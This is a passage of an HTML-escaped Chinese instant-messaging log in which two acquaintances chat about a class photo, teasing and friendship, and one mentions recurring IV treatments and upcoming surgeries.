\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:34:54\u003c/h2\u003e\r\n\u003ch2\u003e真是破天荒了，今天 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:35:26\u003c/h2\u003e\r\n\u003ch2\u003e还好还好\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:35:53\u003c/h2\u003e\r\n\u003ch2\u003e好象我从未真正骂过你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:36:00\u003c/h2\u003e\r\n\u003ch2\u003e我也没有呀！\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:36:18\u003c/h2\u003e\r\n\u003ch2\u003e你是没有骂人的习惯吧 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:36:29\u003c/h2\u003e\r\n\u003ch2\u003e而我一直有骂人的嗜好 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:37:37\u003c/h2\u003e\r\n\u003ch2\u003e我，没有骂人的习惯？不太清楚……\r\n你，嗯，应该是这样的，刀子嘴……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:38:10\u003c/h2\u003e\r\n\u003ch2\u003e恩 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:39:22\u003c/h2\u003e\r\n\u003ch2\u003e那个一班，里面有你？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:39:34\u003c/h2\u003e\r\n\u003ch2\u003e有\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:40:05\u003c/h2\u003e\r\n\u003ch2\u003e你没拿那什么牌子吧？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:40:26\u003c/h2\u003e\r\n\u003ch2\u003e拿“班”的那个？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:40:32\u003c/h2\u003e\r\n\u003ch2\u003e没有\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:40:37\u003c/h2\u003e\r\n\u003ch2\u003e哦 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:40:53\u003c/h2\u003e\r\n\u003ch2\u003e那位，很憨实\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:41:04\u003c/h2\u003e\r\n\u003ch2\u003e身高不够 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:41:23\u003c/h2\u003e\r\n\u003ch2\u003e充其量就一根儿黄葱 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:41:44\u003c/h2\u003e\r\n\u003ch2\u003e你没站第一排吧？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:41:48\u003c/h2\u003e\r\n\u003ch2\u003e呵呵，说给他听他会笑死的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:42:02\u003c/h2\u003e\r\n\u003ch2\u003e哎！\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:42:06\u003c/h2\u003e\r\n\u003ch2\u003e最后一排\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:42:26\u003c/h2\u003e\r\n\u003ch2\u003e总共才2排 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:42:33\u003c/h2\u003e\r\n\u003ch2\u003e哪儿有最后一排？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:43:06\u003c/h2\u003e\r\n\u003ch2\u003e后面的看不见 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:43:10\u003c/h2\u003e\r\n\u003ch2\u003e太远了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:43:22\u003c/h2\u003e\r\n\u003ch2\u003e那就是第二排拉，呵呵\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:43:40\u003c/h2\u003e\r\n\u003ch2\u003e照片上的我，难看。\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:43:48\u003c/h2\u003e\r\n\u003ch2\u003e我是不上镜的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:43:50\u003c/h2\u003e\r\n\u003ch2\u003e呵呵\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:43:50\u003c/h2\u003e\r\n\u003ch2\u003e那就看本人吧 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:44:17\u003c/h2\u003e\r\n\u003ch2\u003e耗了这么久，你就是想看一看么？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:44:32\u003c/h2\u003e\r\n\u003ch2\u003e你这样说有点污蔑我 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:45:05\u003c/h2\u003e\r\n\u003ch2\u003e嗯……对不起……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:45:07\u003c/h2\u003e\r\n\u003ch2\u003e别到最后了，捅一刀 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:45:37\u003c/h2\u003e\r\n\u003ch2\u003e我不耗了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:45:48\u003c/h2\u003e\r\n\u003ch2\u003e免得你认为我是想看你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:45:50\u003c/h2\u003e\r\n\u003ch2\u003e88 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:46:05\u003c/h2\u003e\r\n\u003ch2\u003e哎！你总是这样，算了算了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:46:07\u003c/h2\u003e\r\n\u003ch2\u003e88\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:46:54\u003c/h2\u003e\r\n\u003ch2\u003e实话告诉你吧 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:47:09\u003c/h2\u003e\r\n\u003ch2\u003e那照片上的，基本没一个有看头 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:47:39\u003c/h2\u003e\r\n\u003ch2\u003e知道啦知道拉，\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:47:48\u003c/h2\u003e\r\n\u003ch2\u003e \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:47:52\u003c/h2\u003e\r\n\u003ch2\u003e肯定没一个你看的上的拉\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:48:01\u003c/h2\u003e\r\n\u003ch2\u003e唉 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:48:03\u003c/h2\u003e\r\n\u003ch2\u003e但他们，都是我的同学，我的朋友\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:48:08\u003c/h2\u003e\r\n\u003ch2\u003e我，不会这样认为的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:48:11\u003c/h2\u003e\r\n\u003ch2\u003e你也开始“假”起来 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:48:43\u003c/h2\u003e\r\n\u003ch2\u003e假作真时真亦假\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:49:14\u003c/h2\u003e\r\n\u003ch2\u003e恩 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:49:17\u003c/h2\u003e\r\n\u003ch2\u003e知道了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:49:24\u003c/h2\u003e\r\n\u003ch2\u003e删除后面的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:49:30\u003c/h2\u003e\r\n\u003ch2\u003e保留前面的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:49:32\u003c/h2\u003e\r\n\u003ch2\u003e88 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:49:38\u003c/h2\u003e\r\n\u003ch2\u003e88\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:52:01\u003c/h2\u003e\r\n\u003ch2\u003e你若没事就再陪我说说话 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:52:10\u003c/h2\u003e\r\n\u003ch2\u003e5点我去打针 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:52:13\u003c/h2\u003e\r\n\u003ch2\u003e行，我没事\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:52:20\u003c/h2\u003e\r\n\u003ch2\u003e哦，又干什么了？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:52:32\u003c/h2\u003e\r\n\u003ch2\u003e干什么？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:52:42\u003c/h2\u003e\r\n\u003ch2\u003e不是不是，你误会了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:52:48\u003c/h2\u003e\r\n\u003ch2\u003e我是说你又病了》\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:52:54\u003c/h2\u003e\r\n\u003ch2\u003e我一直坐着除了打字什么都没干 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:53:00\u003c/h2\u003e\r\n\u003ch2\u003e哦 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:53:10\u003c/h2\u003e\r\n\u003ch2\u003e老毛病 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:53:17\u003c/h2\u003e\r\n\u003ch2\u003e哦\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:53:30\u003c/h2\u003e\r\n\u003ch2\u003e暑假要做2个手术 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:53:47\u003c/h2\u003e\r\n\u003ch2\u003e大的还是小的，危险系数高么？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:53:54\u003c/h2\u003e\r\n\u003ch2\u003e这半学期一直是在坚持 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:54:01\u003c/h2\u003e\r\n\u003ch2\u003e不想耽误课 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:54:13\u003c/h2\u003e\r\n\u003ch2\u003e所以每个月打一星期的针 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:54:19\u003c/h2\u003e\r\n\u003ch2\u003e好老师\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:54:23\u003c/h2\u003e\r\n\u003ch2\u003e楼下不远有诊所 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:54:34\u003c/h2\u003e\r\n\u003ch2\u003e挂上针就回来 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:55:50\u003c/h2\u003e\r\n\u003ch2\u003e哦\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:56:11\u003c/h2\u003e\r\n\u003ch2\u003e不在诊所等么？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:56:16\u003c/h2\u003e\r\n\u003ch2\u003e不 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:56:38\u003c/h2\u003e\r\n\u003ch2\u003e2瓶药，打完都什么时间了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:56:50\u003c/h2\u003e\r\n\u003ch2\u003e而且诊所太郁闷 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:56:55\u003c/h2\u003e\r\n\u003ch2\u003e嗯，身体要保护好\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:56:59\u003c/h2\u003e\r\n\u003ch2\u003e回来可以听歌看电影 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:57:07\u003c/h2\u003e\r\n\u003ch2\u003e \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:57:12\u003c/h2\u003e\r\n\u003ch2\u003e完了自己把针一取就好 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e14:57:42\u003c/h2\u003e\r\n\u003ch2\u003e \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:58:57\u003c/h2\u003e\r\n\u003ch2\u003e你自己取针呀？小心点\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:59:05\u003c/h2\u003e\r\n\u003ch2\u003e取针也不能马虎的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:59:15\u003c/h2\u003e\r\n\u003ch2\u003e一不小心就会弄到血管的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:59:24\u003c/h2\u003e\r\n\u003ch2\u003e什么意思？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e14:59:35\u003c/h2\u003e\r\n\u003ch2\u003e你要说的，是，我是你的朋友么？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:06:08\u003c/h2\u003e\r\n\u003ch2\u003e朋友叫我 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:06:12\u003c/h2\u003e\r\n\u003ch2\u003e我出去一下 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:38:59\u003c/h2\u003e\r\n\u003ch2\u003e公子？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:39:16\u003c/h2\u003e\r\n\u003ch2\u003e在\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:39:38\u003c/h2\u003e\r\n\u003ch2\u003e我顺便把针挂上了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:39:54\u003c/h2\u003e\r\n\u003ch2\u003e打字就慢了 